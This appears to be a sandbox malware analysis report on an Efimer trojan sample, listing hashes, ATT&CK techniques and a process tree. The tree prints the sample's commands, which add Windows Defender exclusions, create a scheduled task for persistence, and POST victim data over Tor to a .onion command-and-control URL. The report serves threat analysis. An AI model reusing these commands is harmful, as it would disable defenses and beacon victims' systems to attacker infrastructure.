efimer | 7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
04/11/2025, 15:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
Size 13.0MB
Sample251104-srqbyact7a
SHA256 7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb
MD5 698d49174bb10c6ad3c7a1b181ba7afd
SHA1 304fe0a35a41b52adc48738b4de5cc97105cbee5
SHA512 dcdb42439a58fc3c8df4af29874cef6d8df738d74f162d7c14ad7596934c81612d5d99fabbabfc04865ff0ba6b0bfd279babfc5b08c7143555793e56ec111922
SSDEEP 393216:dwk5ZyPc+beVFFySH5XMCHWUj6cuI3/PeuUpF:dwk5ZyUVXPXMb83H/mZF
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution efimer persistence trojan

Malware Config

Signatures

Efimer
Efimer is a trojan written in JS.
trojan efimer
Efimer family
efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2172	powershell.exe
1500	powershell.exe
1052	powershell.exe
5988	powershell.exe
2340	powershell.exe
4880	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-389786158-2176552546-1679795138-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
2092	newhorison.sdk
3632	svcup.exe

Loads dropped DLL 9 IoCs

pid	Process
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ipinfo.io
31	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4060	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2172	powershell.exe
2172	powershell.exe
1500	powershell.exe
1500	powershell.exe
1052	powershell.exe
1052	powershell.exe
5988	powershell.exe
5988	powershell.exe
2340	powershell.exe
2340	powershell.exe
4880	powershell.exe
4880	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1052	powershell.exe
Token: SeDebugPrivilege	5988	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 4532 wrote to memory of 1888	4532	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	85
PID 4532 wrote to memory of 1888	4532	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	85
PID 1888 wrote to memory of 4988	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	87
PID 1888 wrote to memory of 4988	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	87
PID 4988 wrote to memory of 2172	4988	cmd.exe	88
PID 4988 wrote to memory of 2172	4988	cmd.exe	88
PID 1888 wrote to memory of 5560	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	91
PID 1888 wrote to memory of 5560	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	91
PID 5560 wrote to memory of 1500	5560	cmd.exe	92
PID 5560 wrote to memory of 1500	5560	cmd.exe	92
PID 1888 wrote to memory of 4984	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	93
PID 1888 wrote to memory of 4984	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	93
PID 4984 wrote to memory of 1052	4984	cmd.exe	94
PID 4984 wrote to memory of 1052	4984	cmd.exe	94
PID 1888 wrote to memory of 2180	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	95
PID 1888 wrote to memory of 2180	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	95
PID 2180 wrote to memory of 5988	2180	cmd.exe	96
PID 2180 wrote to memory of 5988	2180	cmd.exe	96
PID 1888 wrote to memory of 848	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	97
PID 1888 wrote to memory of 848	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	97
PID 848 wrote to memory of 2340	848	cmd.exe	98
PID 848 wrote to memory of 2340	848	cmd.exe	98
PID 1888 wrote to memory of 3024	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	101
PID 1888 wrote to memory of 3024	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	101
PID 3024 wrote to memory of 4880	3024	cmd.exe	102
PID 3024 wrote to memory of 4880	3024	cmd.exe	102
PID 1888 wrote to memory of 2092	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	106
PID 1888 wrote to memory of 2092	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	106
PID 2092 wrote to memory of 3256	2092	newhorison.sdk	108
PID 2092 wrote to memory of 3256	2092	newhorison.sdk	108
PID 1888 wrote to memory of 3872	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	112
PID 1888 wrote to memory of 3872	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	112
PID 1888 wrote to memory of 4068	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	113
PID 1888 wrote to memory of 4068	1888	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	113
PID 4068 wrote to memory of 4060	4068	cmd.exe	114
PID 4068 wrote to memory of 4060	4068	cmd.exe	114
PID 4548 wrote to memory of 3632	4548	wscript.exe	123
PID 4548 wrote to memory of 3632	4548	wscript.exe	123
PID 4548 wrote to memory of 2776	4548	wscript.exe	125
PID 4548 wrote to memory of 2776	4548	wscript.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
"C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4532
- C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
  "C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4880
- - C:\Users\Public\Music\stream\newhorison.sdk
    C:\Users\Public\Music\stream\newhorison.sdk --name Defender --silent
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c pause
      4⤵
      PID:3256
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 3 https://ipinfo.io/country
    3⤵
    PID:3872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4068
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4060

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:5668

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Music\stream\stream_a.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4548
- C:\Users\Public\Music\stream\svcup.exe
  "C:\Users\Public\Music\stream\svcup.exe"
  2⤵
  - Executes dropped EXE
  PID:3632
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-25bb4465&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:2776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...